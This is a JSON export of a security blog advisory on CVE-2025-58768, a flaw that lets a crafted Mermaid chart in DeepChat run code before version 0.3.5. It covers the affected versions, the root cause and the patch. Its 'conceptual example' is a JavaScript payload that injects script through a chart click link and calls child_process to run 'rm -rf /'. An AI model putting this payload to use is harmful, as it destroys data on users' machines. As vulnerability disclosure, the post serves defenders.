{"id":75944,"date":"2025-09-17T06:38:33","date_gmt":"2025-09-17T06:38:33","guid":{"rendered":""},"modified":"2025-10-21T10:42:49","modified_gmt":"2025-10-21T16:42:49","slug":"cve-2025-58768-deepchat-ai-assistant-exposes-command-execution-via-xss-in-mermaid-chart-component","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-58768-deepchat-ai-assistant-exposes-command-execution-via-xss-in-mermaid-chart-component\/","title":{"rendered":"<strong>CVE-2025-58768: DeepChat AI Assistant Exposes Command Execution via XSS in Mermaid Chart Component<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>DeepChat, a prominent smart assistant that utilizes artificial intelligence, has been flagged with a significant vulnerability in its Mermaid chart rendering component. This vulnerability, identified as CVE-2025-58768, affects all DeepChat versions prior to 0.3.5. If exploited, it could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9253-stack-based-buffer-overflow-on-linksys-wi-fi-range-extenders-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"84273\">lead to system<\/a> compromise or data leakage, posing a grave risk to users and their sensitive information.<br \/>\nThe importance of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9791-critical-vulnerability-in-tenda-ac20-16-03-08-05-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"85033\">vulnerability lies in its potential<\/a> impact. As the smart assistant is widely used across various sectors, it poses a significant threat to individual users as well as organizations. A successful exploitation could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22404-potential-system-compromise-due-to-use-after-free-vulnerability\/\"  data-wpil-monitor-id=\"85664\">compromise system<\/a> integrity, user privacy, and data security, which could have far-reaching consequences.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-58768<br \/>\nSeverity: Critical (9.6\/10.0)<br \/>\nAttack Vector: Client-side<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8067-udisks-daemon-vulnerability-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"85757\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1854884241\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>DeepChat | <0.3.5\n\n<strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit is rooted in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6454-authenticated-user-exploit-in-gitlab-ce-ee-through-proxy-environments\/\"  data-wpil-monitor-id=\"90729\">DeepChat application&#8217;s Mermaid chart<\/a> rendering component that directly uses `innerHTML` to set user content. This allows malicious content rendered via Mermaid to trigger an exploit chain, leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-57771-arbitrary-command-execution-vulnerability-in-roo-code-ai\/\"  data-wpil-monitor-id=\"84818\">command execution<\/a>. It&#8217;s primarily caused by a failure to fully address an existing XSS issue in the project, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-0078-selinux-bypass-exploitation-leads-to-local-privilege-escalation\/\"  data-wpil-monitor-id=\"88894\">leading to this new exploit<\/a> chain.<br \/>\nThis exploit chain is consistent with the report GHSA-hqr4-4gfc-5p2j, which allows <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-0074-critical-remote-code-execution-vulnerability-in-sdp-discovery\/\"  data-wpil-monitor-id=\"83653\">execution of arbitrary JavaScript code<\/a> via XSS and arbitrary commands via exposed IPC.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p>\n<p>Below is a conceptual example of how the vulnerability might be exploited:<\/p><div id=\"ameeb-1385305425\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<pre><code class=\"\" data-line=\"\">\/\/ A malicious script that can be injected\nvar malicious_script = `\nvar require = window.parent.require;\nvar process = require(&#039;process&#039;);\nvar exec = require(&#039;child_process&#039;).exec;\nexec(&#039;rm -rf \/&#039;);  \/\/ command to delete everything on the machine\n`;\n\/\/ An attacker might craft a Mermaid chart with the malicious script\nvar malicious_chart = `\ngraph LR\nA[Start] --&gt;|Inject script| B((&#039; &#039;))\nB --&gt; C{End}\nclassDef className fill:#f96,stroke:#333,stroke-width:4px;\nclass B className;\nclick B &quot;javascript:${malicious_script}&quot; &quot;This is a tooltip&quot;\n`;\nchat.render(&#039;mermaid&#039;, malicious_chart);<\/code><\/pre>\n<p>This example shows how an attacker could inject a malicious script into a Mermaid chart, thus exploiting the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22403-remote-code-execution-vulnerability-in-sdp-discovery-cc\/\"  data-wpil-monitor-id=\"83931\">vulnerability to execute<\/a> arbitrary commands.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users are strongly advised to apply the vendor patch by updating their DeepChat version to 0.3.5 or later. In the absence of patch accessibility, users can employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation measures. However, these should only be considered as temporary solutions, and users should update their <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7028-exploiting-the-software-smi-handler-vulnerability\/\"  data-wpil-monitor-id=\"88172\">software as soon as possible to avoid potential exploitation<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview DeepChat, a prominent smart assistant that utilizes artificial intelligence, has been flagged with a significant vulnerability in its Mermaid chart rendering component. This vulnerability, identified as CVE-2025-58768, affects all DeepChat versions prior to 0.3.5. If exploited, it could lead to system compromise or data leakage, posing a grave risk to users and their sensitive [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80,81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-75944","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce","attack_vector-xss"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75944","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=75944"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75944\/revisions"}],"predecessor-version":[{"id":83674,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75944\/revisions\/83674"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=75944"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=75944"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=75944"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=75944"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=75944"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=75944"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=75944"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=75944"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=75944"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}